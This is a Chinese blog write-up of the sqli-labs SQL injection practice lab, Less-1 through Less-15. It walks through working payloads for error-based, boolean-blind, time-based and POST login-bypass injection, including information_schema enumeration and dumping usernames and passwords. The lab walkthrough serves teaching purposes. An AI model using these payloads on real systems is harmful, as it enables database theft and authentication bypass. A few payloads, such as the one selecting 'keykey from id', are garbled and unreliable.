SQL注入练习之sqli-labs靶场Writeup


Less-1(报错型注入-字符串类型)

  1. 打开之后让输入ID的,随便构造一个语句http://192.168.80.134/sql/Less-1/index.php?id=1,返回是正常的,再次构造语句index.php?id=1' 报错了,说明SQL语句在查询的时候把’也带入了查询语句,并且错误提示如下,可以看出是报错型注入
    sqli-labs之LESS-1讲解(报错型注入)
 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 
  1. 继续构造语句:index.php?id=1' --+返回正常,说明我们的SQL语句构造成功,--+在MySQL语句中是注释符号,这句话相当于前面的’将前面的语句闭合了,而–+又把后面原本有的'闭合符号给注释掉了,所以语句执行正确。建议大家在学习的时候观看源码,其背后执行的SQL语句是:
select * from users where id = '    1'    --+     '

我们只需要把我们想要执行的SQL语句插入在–+之前

  1. 查询字段
index.php?id=1' order by 3--+

不断更换order by 后面的数字,通过这里来判断字段数,最终发现存在3个字段

  1. 爆数据库
index.php?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),3) --+

成功得到数据库名字为security其中0x7e是16进制编码的~符号,并无特殊意义。
sqli-labs之LESS-1讲解(报错型注入)

  1. 爆表
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema ='security'),0x7e),3) --+

其中security是我们上次爆出来的数据库名,这里可以看出成功爆出表名了。
sqli-labs之LESS-1讲解(报错型注入)

  1. 爆字段
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name ='users'),0x7e),3) --+

我们这里爆的是users表的字段,可以看到有id,username,password如下字段
sqli-labs之LESS-1讲解(报错型注入)

  1. 爆数据
index.php?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1) --+

其中username就是我们想要爆出来的数据的字段,可以看到已经爆出来了如下用户名称。
sqli-labs之LESS-1讲解(报错型注入)
但是很明显用户名没有完全报出来,这是因为updatexml()这个是有长度限制的最长32位,这时候就该我们的另一个主角上场了,就是 SUBSTR() 截断函数,语法如下:

SUBSTR(str,pos,len)
# 就是从 str 字符串中,从 pos 位置开始,截取 len 个长度的字符

所以我们可以构造如下语句:

index.php?id=1' union select updatexml(1,concat(0x7e,SUBSTR((select group_concat(username) from users),1,24),0x7e),1) --+

上面这个语句就是从 1 开始,截断 24 个字符。

Less-2(报错型注入-整数类型)

\1. 这是一个数字类型的报错注入,最常用的手法是在后面输入-1测试,比如
当我们构造语句:

index.php?id=2

显示为Angelina,但是当我们在2的后面输入-1的时候,页面返回值变为了Dumb(即index.php?id=1的返回值),说明-1被带入了SQL语句中,此处很可能存在SQL注入漏洞
sqli-labs之Less-2讲解(报错型注入-整数类型)

\2. 查询字段

index.php?id=1 order by 3

经过检测发现存在3个字段

\2. 爆数据库
此篇依旧使用报错型注入手法进行操作,与上一篇文章稍有不同

index.php?id=1 union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a

得出数据库名字为:security
sqli-labs之Less-2讲解(报错型注入-整数类型)

3.爆表

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

在这里因为使用了LIMIT限制语句,所以每次只会爆出来一个表,可以通过变换LIMIT的第一个参数来进行表的更换查询
比如:

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

这条语句便是查询的第1张表,上一条语句查的是第0张表
sqli-labs之Less-2讲解(报错型注入-整数类型)

4.爆字段

index.php?id=1 union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name='emails' LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

同样这里的LIMIT同上,是可以更换值来查询不同的字段
经查询一共存在id和email_id两个字段
sqli-labs之Less-2讲解(报错型注入-整数类型)

5.爆数据

union Select 1,count(*),concat((select (select (SELECT distinct concat(0x7e,id_,0x7e,email_id,0x7e) FROM emails limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))a from information_schema.columns group by a

成功获得数据,LIMIT亦同上
sqli-labs之Less-2讲解(报错型注入-整数类型)

Less-3(报错型注入-单引号)

\1. 按照常规套路,打开网页构造语句:

inde.php?id=1

加上'单引号,报错,如下:
sqli-labs之Less-3讲解(报错型注入-单引号)

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

后面有括号,咱给他闭合上,继续构造语句:

index.php?id=1') --+

完美绕过,那么我们接下来就是要搞事情,只需要将你想要执行的SQL语句穿插进--+之前即可,很明显这里有报错信息,那么我们就直接使用报错注入就行啦~
2.爆个数据库

index.php?id=1') union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+

sqli-labs之Less-3讲解(报错型注入-单引号)
具体步骤以及语句和 Less-2 相同,只是多了后面的--+注释符号而已,不再赘述。

Less-4(报错型注入-双引号)

1.这篇解题思路与 Less-3 几乎没有任何差别,只需要将上一篇的单引号换成双引号引起报错即可。
2.继续使用报错注入,爆数据库

index.php?id=1") union select 1,count(*),concat(0x7e,0x7e,(select database()),0x7e,0x7e,floor(rand(0)*2))a from information_schema.columns group by a --+

sqli-labs之Less-4讲解(报错型注入-双引号)

Less-5(布尔类型注入-单引号)

前言:
先来说一下什么是布尔类型注入,即你构造的SQL语句执行完毕之后只会返回给你真或者假,反馈到网页上的也就是只会返回给你是否存在。
1.正常执行

index.php?id=1

这条语句是完全没毛病的可以正常执行,所以页面返回的结果是如下
sqli-labs之Less-5讲解(布尔类型注入)

2.尝试报错

index.php?id=1'

返回提示:

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

说明我们的分号是被带入到了SQL查询中的,所以报错了,那么只需要闭合即可

index.php?id=1' --+

执行这条闭合完美执行成功,返回You are in….我们接下来的任务就是继续将SQL语句插入进去,但是注意这可是布尔注入,只会返回给你真假,所以有很多地方需要注意,下面继续讲解。
3.主要函数
这些都是布尔注入需要使用到的函数,下面都会用到并讲解的。

length()    #返回字符串的长度
substr()    #截取字符串
substr(a,b,c)作用将字符串a从第b位开始取c位数出来
ascii()     #返回字符的ascii码
sleep(n)     #将程序挂起休眠n秒
if(exp1,exp2,exp3)   #判断语句,如果第一个语句正确就执行第二个语句,如果错误就执行第三个。

4.判断当前数据库名长度
第一次构造:

index.php?id=1' and length(database())>1--+

执行成功,布尔注入只能靠不断变换后面的数字来进行猜测数据库名长度。以当前数据库security数据库长度为例,如果出现大于7,但是不大于8,那么肯定就是当前数据库名长度等于8了,此时就可以使用如下语句进行判断

index.php?id=1' and length(database())=8--+

如果返回为真,那么则说明数据库长度肯定是8位了。

5.猜测数据库名
猜测数据库名的时候需要一个一个地猜,我先用手工的演示,等下文章最后面会放上python脚本。

index.php?id=1' and ascii(substr(database(),1,1))>65--+

这里我查询的是查询数据库名的第一位(即上面语句的第一个1的作用,substr查询不是从0开始的,就是从1开始的,第二个1的作用是只取一位,这个不用变)是否大于ascii码表的A,以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下语句;

index.php?id=1' and ascii(substr(database(),2,1))>65--+

就这样不断尝试吧,因为我们刚才已经获取到了数据库名的长度,所以继续慢慢猜吧。

6.猜测表名

index.php?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 --+

这句的意思呢也就是通过limit限制只查询当前数据库的第0张表,然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65(即字母A)。加入存在多张表,可以通过变换limit的第一个参数0换为1来更换表继续查询。

7.猜测字段

index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 --+

假设我们得到了一张表名为:password,那么我们还是跟上面一样,通过limit限制为第一个字段,然后substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

index.php?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 --+

上面这一条呢就是将第0个字段的名字的第二个字符取出与ascii码表的64(字母A)进行比较

8.猜测数据

index.php?id=1' and ascii(substr((select keykey from  id limit 0,1),1,1)) >65 --+

意思与上面的一样,假设我们得到了一个字段:id
继续通过limit限制为数据的第一个字符,然后用substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

9.恭喜你看到这里了,这种布尔类型的几乎没有人真的去完全猜测,都是拿脚本跑的,附上我的小脚本吧,此题适用,一般来说,这种布尔类型的直接修改payload都可以通用啦。
Github:SQL注入_布尔注入脚本

Less-6(布尔类型注入-双引号)

这道题跟 Less-5 第五题基本上没有任何区别,唯一的区别就是由上一题的单引号变为了双引号。
1.一般我们的操作都是先加上单引号'尝试一下报错,在这里我们发现加上单引号之后没什么反应,跟原先页面一样,那么我们就可以尝试一下双引号"了,这些都是一些基本思路。

index.php?id=1"

这样就报错了,然后就是后面加上注释符号进行闭合操作。
2.后续步骤
后续步骤就和 Less-5 一样了,没有任何区别的了。

Less-7(暂无解)

暂未解出

Less-8(盲注)

前言:此题是盲注类型的,具体为什么见下文
1.正常访问
正常访问语句为

?id=1

可以看出来是页面返回正常,没啥毛病

2.构造干扰

id=1'

发现页面返回不正常了,说明分号被带入SQL查询了,我们进行闭合即可。

id=1' --+

此时又返回正常了,说明闭合成功,接下来就是穿插SQL语句到里面。

3.查询字段

id=1' order by 3 --+

不断变换order by后面的数据,最后发现存在3个字段

Less-9(基于时间盲注-单引号)

前言:这道题其实设置的有点古怪,无论你是否构造语句正确与否,都会只返回给你 You are in...........,所以你很难知道你是否闭合成功语句以及SQL语句是否执行成功,这里就需要依靠时间延时来进行判断了。

1.构造语句

?id=1' and if(1=1,sleep(0),sleep(5)) --+

上面这句话的意思就是,如果1=1这条SQL语句执行成功,那么久实行sleep(0)休眠0秒,如果1=1这条SQL语句执行错误,那么就执行sleep(5)休眠5秒,以此来进行判断SQL语句是否执行成功。这里的1=1,其实在下面就可以更换为我们想要执行的其他SQL语句。
sqli-labs之Less-9讲解(基于时间盲注)
从上面图中可以看到,当我们执行了一条正确的SQL语句时,浏览器很快就会返回结果,耗时一秒多,耗时绝对不会超过5秒。
sqli-labs之Less-9讲解(基于时间盲注)
而当我们执行了一条错误的SQL语句时,浏览器会一直转圈转圈加载5秒之后执行,共计耗时6秒多,耗时绝对超过5秒。
由此我们就可以构造我们的payload了,通过执行时间长短来进行判断构造的SQL语句是否执行正确。

2.布尔盲注

这道题说到底还是布尔盲注方向的,只不过是有了更多的限制条件了,其实跟前面的这篇文章Less-5(布尔类型注入-单引号)其实是一样的,基本无任何差别,建议参考一下,看看基础知识。
最后附上Python脚本,因为这种题目没有人是真正完全靠脑子去猜测的,都是脚本跑的。
Github:基于时间的布尔盲注

Less-10(基于时间盲注-双引号)

这道题跟第九题Less-10讲解(基于时间盲注-双引号)》原理一样,只是干扰报错信息换为了双引号而已,除此之外没有任何改变。建议配合Less-5讲解(布尔类型注入-单引号)这篇文章一起食用,效果更佳。

Less-11(POST注入-单引号)

前言:

从这道题开始呢,就是该POST基础注入了。

1.随便进行登录测试

随便输入账号密码进行测试一下返回结果,发现返回为空,没有任何有效信息返回,那么我们就开始构造万能密码进行尝试。在这里其实有一个SQL语句,真实环境下一般没有,这里这个SQL语句只能算是题目提示。

2.构造账号密码

用户名:a' or 1=1 #
密码:a

这里的密码是随意输入的,以下同是。账号则是我们精心构造的一个永为真的情况,a这个用户是不存在的,但是执行SQL语句时,查询不到a这个用户,然后继续or执行了1=1这条SQL语句,发现为真,#井号注释符把后面的语句全部给注释掉了,语句也就闭合了,完美返回用户名、密码。我们把上面的SQL放进Navicat在这里面执行以下更直观一些:
sqli-labs之Less-11讲解(POST注入)
可以看到#后面的SQL语句都是被注释掉了的,并且因为为or 1=1为真,返回了所有的数据库的结果(在PHP页面上只能看到一条是因为在Less-11/index.php文件中使用了mysql_fetch_array函数,限制返回一条数据)

3.查询字段

用户名:a' or 1=1 order by 2 #

正确返回到我们想要的结果,经猜测存在两个字段。

4.查询显示位

a' and 1=1 union select 1,2 #

有细心的小伙伴们可能已经发现了上面我们一直用的or而这里改用了and,我们上面用or的原因是为了确保1=1这条SQL语句能够执行,所以用or,而这里用and是因为我们构造的用户名a在数据库中根本不存在(如果不确定数据库中是否存在可以随便起一个很长很长的名字),如果继续用or的话会返回所有的结果,而我们union select查询的结果就会排在最下面,就不会显示在网页页面上了,如图:
sqli-labs之Less-11讲解(POST注入)
而使用and的话,就保证了union select其前面的SQL语句返回为空,然后继续执行union select返回其结果,如图:
sqli-labs之Less-11讲解(POST注入)
或者你使用or 1=2效果也都是一样的,都是为了保证前面的返回结果为空。将上面的构造的SQL输入在用户名处,随便写上密码便可以看到显示位了。

5.查询数据库名

a' and 1=1 union select database(),user() #

sqli-labs之Less-11讲解(POST注入)
可以看到已经返回了数据库名等信息

6.查询表名

a' and 1=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

7.查询字段

a' and 1=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

其中users是上面爆出来的表的名字

8.查询数据

a' and 1=1 union select 1,group_concat(password) from users #

其中password又是上面爆出来的字段名字

Less-12(POST注入-双引号_括号)

前言:

这道题跟Less-11是一样的,唯一不同之处便是,Less-11使用的是单引号包裹,而这道题使用的是双引号以及括号包裹。

1.构造语句

a") or 1=1 #

接下来的就跟Less-11(POST注入-单引号)》这里的操作一样,便不再赘述了。

Less-13(POST报错注入-单引号_括号)

同上

Less-14(POST报错注入-双引号)

a" or updatexml(1,concat(0x7e,(select database()),0x7e),3) or 1=1 #

报错注入,不想写了

Less-15(POST布尔盲注注入-单引号)

前言:

一般登录处是比较容易存在SQL注入漏洞的,所以我们有时候在实战情况下找到了某个登录的地址,但是没有账号密码的情况下就可以尝试使用在登录处进行SQL注入。

1.随便尝试登录

随便构造几个常用的账号密码进行尝试登录,发现只要账号密码不对,登录框下面的提示一直是失败的,也就相当于现在比较常见的登陆失败直接提示:账号或密码输入错误。让你根本无法知道是账号错误还是密码错误,这样也就无法遍历用户名了,也是一种较为常用的保护机制。

2.构造账号密码

账号:a' or 1=1 #
密码:a

这里的账号和密码中的a其实是随便输入的,你可以随意替换。可以看到当我们输入这一组账号密码的时候,是显示登录成功的。但是我们只知道登陆成功,却无法直观看到其他类似于数据库名称,版本等信息,这是因为这里是一个盲注,可以使用基于时间的盲注也可以使用基于布尔类型的盲注。可以参考这篇文章Less-5(布尔类型注入-单引号)或者这篇[Less-9(基于时间盲注-单引号)

3.猜数据库长度

账号:a' or 1=1 and length(database())>1 #
密码:a

以这样的形式来进行数据库名长度的猜测。

4.猜数据库名

猜测数据库名的时候需要一个一个地猜,我这里用手工的演示。

账号:a' or 1=1 and ascii(substr(database(),1,1))>65 #
密码:a

这里我查询的是查询数据库名的第一位(即上面语句的第一个1的作用,substr查询不是从0开始的,就是从1开始的,第二个1的作用是只取一位,这个不用变)是否大于ascii码表的A,以此来判断数据库的第一位是哪个
如果我想查询第二个则是如下payload语句:

账号:a' or 1=1 and ascii(substr(database(),2,1))>65 #
密码:a

大家应该可以看出来差别了,只是变换了一下参数值大小,以此类推。

5.猜测表名

猜测出来数据库名之后接下来就是该猜测表名了,构造语句:

账号:a' or 1=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)) >65 #
密码:a

这句的意思呢也就是通过limit限制只查询当前数据库的第0张表,然后substr函数的第一个1来限制第一个字符。结合起来就是猜测第一张表的第一个字符的ascii码是否大于65(即字母A)。加入存在多张表,可以通过变换limit的第一个参数0换为1来更换表继续查询。

6.猜测字段

假设我们得到了一张表名为:password,那么我们还是跟上面一样,通过limit限制为第一个字段,然后substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

账号:a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),1,1)) >65 #
密码:a

那么我们想将第0个字段的名字的第二个字符取出与ascii码表的64(字母A)进行比较则是如下语句:

账号:a' or 1=1 and ascii(substr((select column_name from information_schema.columns where table_name='password' limit 0,1),2,1)) >65 #
密码:a

7.猜测数据

账号:a' or 1=1 and ascii(substr((select keykey from  id limit 0,1),1,1)) >65 #
密码:a

意思与上面的一样,假设我们得到了一个字段:id
继续通过limit限制为数据的第一个字符,然后用substr函数来将从第一位取出一个来与ascii码表上的65(字母A)进行比较

结束语

其实这种SQL注入只要找打规律之后一般大佬的操作就是写个 Python 脚本来跑的,没有人去完全靠手工猜测的,建议使用 Python。


文章作者: Writeup
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Writeup !
 上一篇
HTTP/2.0的优点 HTTP/2.0的优点
前言目前的网络世界已经发展的极其迅速,而目前作为主流的 HTTP 协议版本 HTTP/1.1 协议将会逐渐被 HTTP/2.0 或 HTTP/3.0 所替代。国外的大型互联网厂商比如:Google、FaceBook、Twitter等都已经开
2020-10-12
下一篇 
ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用 ECShop <= 2.x/3.6.x/3.0.x 版本远程代码执行高危漏洞利用
一、简介这一篇文章接下来我会分为两个部分来写,因为 ECShop 其实两个比较大的远程代码执行是有两个不同版本先后爆出来的,首先被爆出来的是:ECShop <= 2.7.x 全系列版本远程代码执行高危漏洞,然后紧接着 ECShop 官
2020-10-11
  目录